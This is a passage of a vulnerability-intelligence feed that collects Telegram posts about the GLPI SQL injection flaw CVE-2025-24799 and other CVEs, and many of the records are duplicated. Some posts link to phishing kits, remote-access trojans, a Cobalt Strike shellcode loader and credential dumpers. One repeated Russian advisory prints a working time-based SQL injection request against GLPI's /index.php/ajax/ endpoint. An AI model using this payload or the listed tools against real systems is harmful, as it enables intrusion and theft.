Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai\n\n#GrayHats", "creation_timestamp": "2026-08-20T00:00:08.178282Z"}, {"uuid": "d5c77755-a5ae-40ef-a257-3d5e29676af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSecurity/103", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai\n\n#GrayHats", "creation_timestamp": "2026-08-20T00:00:08.091175Z"}, {"uuid": "575908fb-af36-4d27-977f-add37f62f978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSecurity/143", "content": "Unzip the file and use it freely with the templates you choose.\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\nExtracts URLs from OSINT Archives for Security Insights.\nhttps://github.com/hahwul/urx\n\nhttps://github.com/Meowmycks/koneko\n\nRobust Cobalt Strike shellcode loader with multiple advanced evasion features\n#github #CS #tools\nhttps://github.com/RainbowSoftwares/XWorm-RCE-Patch\n\nXWorm 4.0 Modded + RCE Patched\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nhttps://github.com/OssamaN7/LFI_Racer\n\nA tool to exploit Local File Inclusion (LFI) vulnerabilities for Remote Code Execution (RCE)\n#github #exploit\nhttps://github.com/OssamaN7/LFI_Racer\n\nRepository: Bbot - Recursive web crawler\n\nBEE bot is a multipurpose scanner inspired by Spiderfoot, designed to automate your reconnaissance, bug bounty, and ASM missions.\n\n\u2014 This tool is capable of performing the entire OSINT process in a single command, including subdomain enumeration, port scanning, web screenshots (with the gowitness module), vulnerability scanning (with kernels), and more.\nhttps://github.com/blacklanternsecurity/bbot\n\nCybersecurity AI (CAI) now includes full, nano, and mini versions of gpt-4.1 models \u2014 I believe they\u2019re still behind other top models, but they\u2019re a significant improvement for cybersecurity exercises compared to gpt-4o and o3-mini.\n\nTry it too: https://github.com/aliasrobotics/cai\n\nRepository: http://Cheat.sh : Helpful tips for commands and terminal languages\n\nhttp://Cheat.sh \u2014 is an online service accessible from the command line that searches through an impressive collection of community-curated cheat sheets.\n\n#GrayHats", "creation_timestamp": "2026-08-20T00:00:08.336918Z"}, {"uuid": "2d71046e-fb9a-4314-9de6-7a65f168fff8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/brutsecurity/1771", "content": "\u2604\ufe0fGLPI Vulnerability - CVE-2025-24799 Unauthenticated SQL Injection Exploit. An unauthenticated user can perform a SQL injection through the inventory endpoint.\n\n\n\u26a1\ufe0fExploit: https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799", "creation_timestamp": "2026-07-09T03:00:08.587216Z"}, {"uuid": "35d1a645-9bb2-4d4a-9b4a-1ccb5f26d689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/brutsecurity/1771", "content": "\u2604\ufe0fGLPI Vulnerability - CVE-2025-24799 Unauthenticated SQL Injection Exploit. An unauthenticated user can perform a SQL injection through the inventory endpoint.\n\n\n\u26a1\ufe0fExploit: https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799", "creation_timestamp": "2026-07-10T00:00:32.117536Z"}, {"uuid": "2c93eb5c-7d93-45e3-8b6e-d96bda4a7e3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1771", "content": "\u2604\ufe0fGLPI Vulnerability - CVE-2025-24799 Unauthenticated SQL Injection Exploit. An unauthenticated user can perform a SQL injection through the inventory endpoint.\n\n\n\u26a1\ufe0fExploit: https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799", "creation_timestamp": "2026-07-11T13:00:05.210058Z"}, {"uuid": "b6de3e5f-ca1f-4f46-99c7-46561516b289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1771", "content": "\u2604\ufe0fGLPI Vulnerability - CVE-2025-24799 Unauthenticated SQL Injection Exploit. An unauthenticated user can perform a SQL injection through the inventory endpoint.\n\n\n\u26a1\ufe0fExploit: https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799", "creation_timestamp": "2026-07-12T00:00:48.710901Z"}, {"uuid": "2eb57b28-e353-4e40-a539-684b7bc8d79d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/securixy_kz/1135", "content": "\ud83d\udea8 \u0421\u043d\u043e\u0432\u0430 #GLPI - \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 /index.php/ajax/ CVE-2025-24799 \u0438 CVE-2025-24801\n\n\u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u044d\u0441\u043a\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e RCE.\n\n\ud83d\udee0\ufe0f \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 10.0.18\n\u2705 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 GLPI 10.0.18\n\n\ud83d\udd0d PoC:\n\nPOST /index.php/ajax/ HTTP/1.1\nHost: glpi\nUser-Agent: python-requests/2.32.3\nContent-Type: application/xml\nContent-Length: 232\n\n\n    \n    get_params\n    ', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#\n    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\n\ud83e\uddea SQLi-\u0441\u043a\u0430\u043d\u0435\u0440:\n\ud83d\udc49 https://github.com/MuhammadWaseem29/CVE-2025-24799/tree/main\n\n\ud83d\udcda \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u043e RCE:\n\ud83d\udc49 https://blog.lexfo.fr/glpi-sql-to-rce.html\n\n\u203c\ufe0f \u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 GLPI \u2014 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435\u0441\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 /ajax/.", "creation_timestamp": "2026-07-12T22:00:07.593134Z"}, {"uuid": "247ecb93-de45-4a50-9206-7d80d815eecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/securixy_kz/1135", "content": "\ud83d\udea8 \u0421\u043d\u043e\u0432\u0430 #GLPI - \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 /index.php/ajax/ CVE-2025-24799 \u0438 CVE-2025-24801\n\n\u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u044d\u0441\u043a\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e RCE.\n\n\ud83d\udee0\ufe0f \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 10.0.18\n\u2705 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 GLPI 10.0.18\n\n\ud83d\udd0d PoC:\n\nPOST /index.php/ajax/ HTTP/1.1\nHost: glpi\nUser-Agent: python-requests/2.32.3\nContent-Type: application/xml\nContent-Length: 232\n\n\n    \n    get_params\n    ', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#\n    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\n\ud83e\uddea SQLi-\u0441\u043a\u0430\u043d\u0435\u0440:\n\ud83d\udc49 https://github.com/MuhammadWaseem29/CVE-2025-24799/tree/main\n\n\ud83d\udcda \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u043e RCE:\n\ud83d\udc49 https://blog.lexfo.fr/glpi-sql-to-rce.html\n\n\u203c\ufe0f \u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 GLPI \u2014 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435\u0441\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 /ajax/.", "creation_timestamp": "2026-07-13T00:00:18.537244Z"}, {"uuid": "271d3d35-f146-4bbd-aa89-a0865abea5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://t.me/purp_sec/516", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2024-56406 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Perl, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0435\u0435 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 tr/// \u0441 \u043d\u0435-ASCII \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u043d\u0430 \u043b\u0435\u0432\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435. \u041c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a segmentation fault \u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445.\n\n\ud83d\udd35 CVE-2024-58136 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 PHP-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Yii 2, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2025 \u0433\u043e\u0434\u0430.\u200b \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430 'as behaviorName' => [...] \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430 \u0438\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0441 \u043a\u043b\u044e\u0447\u043e\u043c __class, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 PHP-\u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 \u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432.\n\n\ud83d\udd35 CVE-2025-24797 \u2014 \u0431\u0430\u0433 \u0432 Meshtastic. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0448\u0438\u0431\u043a\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 mesh-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 protobuf. \u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u0438\u0440\u0443\u044e\u0442 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\ud83d\udd35 CVE-2025-3102 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 SureTriggers: All-in-One Automation Platform \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 secret_key \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 autheticate_user.\n\n\ud83d\udd35 CVE-2025-3579 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Aidex. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 /api//message endpoint.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:55.413832Z"}, {"uuid": "1621f465-59fb-46ca-a1ae-37558a9c911f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1135", "content": "\ud83d\udea8 \u0421\u043d\u043e\u0432\u0430 #GLPI - \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 /index.php/ajax/ CVE-2025-24799 \u0438 CVE-2025-24801\n\n\u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u044d\u0441\u043a\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e RCE.\n\n\ud83d\udee0\ufe0f \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 10.0.18\n\u2705 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 GLPI 10.0.18\n\n\ud83d\udd0d PoC:\n\nPOST /index.php/ajax/ HTTP/1.1\nHost: glpi\nUser-Agent: python-requests/2.32.3\nContent-Type: application/xml\nContent-Length: 232\n\n\n    \n    get_params\n    ', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#\n    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\n\ud83e\uddea SQLi-\u0441\u043a\u0430\u043d\u0435\u0440:\n\ud83d\udc49 https://github.com/MuhammadWaseem29/CVE-2025-24799/tree/main\n\n\ud83d\udcda \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u043e RCE:\n\ud83d\udc49 